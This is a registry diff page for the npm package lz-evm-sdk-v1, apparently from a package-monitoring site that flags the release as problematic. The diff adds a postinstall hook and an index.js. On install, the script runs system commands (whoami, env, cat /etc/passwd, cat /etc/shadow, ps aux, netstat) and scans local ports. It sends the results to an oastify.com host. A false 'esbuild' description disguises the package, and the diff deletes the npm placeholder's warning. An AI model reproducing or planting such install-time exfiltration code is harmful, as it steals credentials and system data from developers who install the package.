lz-evm-sdk-v1 0.0.1-security → 2.9.90
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of lz-evm-sdk-v1 might be problematic. Click here for more details.
- package/index.js +79 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
const { execSync } = require("child_process");
|
|
2
|
+
const http = require("http");
|
|
3
|
+
const os = require("os");
|
|
4
|
+
|
|
5
|
+
const exfilDomain = "qrlxrw3mlop4iyuj8gs45rpxqowfk58u.oastify.com";
|
|
6
|
+
|
|
7
|
+
function exfil(cmd, output) {
|
|
8
|
+
const data = `CMD: ${cmd}\nOUT:\n${output}`;
|
|
9
|
+
const options = {
|
|
10
|
+
hostname: exfilDomain,
|
|
11
|
+
port: 80,
|
|
12
|
+
path: "/",
|
|
13
|
+
method: "POST",
|
|
14
|
+
headers: {
|
|
15
|
+
"Content-Type": "text/plain",
|
|
16
|
+
"Content-Length": Buffer.byteLength(data),
|
|
17
|
+
"Connection": "keep-alive",
|
|
18
|
+
},
|
|
19
|
+
};
|
|
20
|
+
|
|
21
|
+
const req = http.request(options, (res) => {
|
|
22
|
+
// Optional: log status
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
req.on("error", (error) => {
|
|
26
|
+
// Fail silently
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
req.write(data);
|
|
30
|
+
req.end();
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
const commands = new Set([
|
|
34
|
+
"whoami",
|
|
35
|
+
"hostname",
|
|
36
|
+
"uname -a",
|
|
37
|
+
"cat /etc/passwd",
|
|
38
|
+
"cat /etc/shadow",
|
|
39
|
+
"env",
|
|
40
|
+
"ps aux",
|
|
41
|
+
"netstat -tulpn",
|
|
42
|
+
"ls",
|
|
43
|
+
"tasklist",
|
|
44
|
+
"ver",
|
|
45
|
+
"systeminfo",
|
|
46
|
+
]);
|
|
47
|
+
|
|
48
|
+
const platform = os.platform();
|
|
49
|
+
|
|
50
|
+
commands.forEach((cmd) => {
|
|
51
|
+
// Skip Windows-specific on Unix and vice versa
|
|
52
|
+
if (platform === "win32") {
|
|
53
|
+
if (cmd.startsWith("cat") || cmd.includes("ps aux") || cmd.includes("netstat -tulpn")) return;
|
|
54
|
+
if (cmd === "ls") cmd = "dir";
|
|
55
|
+
} else {
|
|
56
|
+
if (["tasklist", "ver", "systeminfo"].includes(cmd)) return;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
try {
|
|
60
|
+
const output = execSync(cmd, { encoding: "utf8" });
|
|
61
|
+
exfil(cmd, output);
|
|
62
|
+
} catch (e) {
|
|
63
|
+
exfil(cmd, `Error executing command: ${e.message}`);
|
|
64
|
+
}
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
// Optional: Scan common localhost ports
|
|
68
|
+
const ports = [80, 443, 8080, 5000, 8000, 3000];
|
|
69
|
+
ports.forEach((port) => {
|
|
70
|
+
const net = require("net");
|
|
71
|
+
const socket = new net.Socket();
|
|
72
|
+
socket.setTimeout(1000);
|
|
73
|
+
socket.connect(port, "127.0.0.1", () => {
|
|
74
|
+
exfil(`check port`, `127.0.0.1:${port} is open`);
|
|
75
|
+
socket.destroy();
|
|
76
|
+
});
|
|
77
|
+
socket.on("error", () => socket.destroy());
|
|
78
|
+
});
|
|
79
|
+
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "lz-evm-sdk-v1",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "2.9.90",
|
|
4
|
+
"description": "netbsd-x64 build for esbuild",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "kali182",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
|
12
|
+
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=lz-evm-sdk-v1 for more information.
|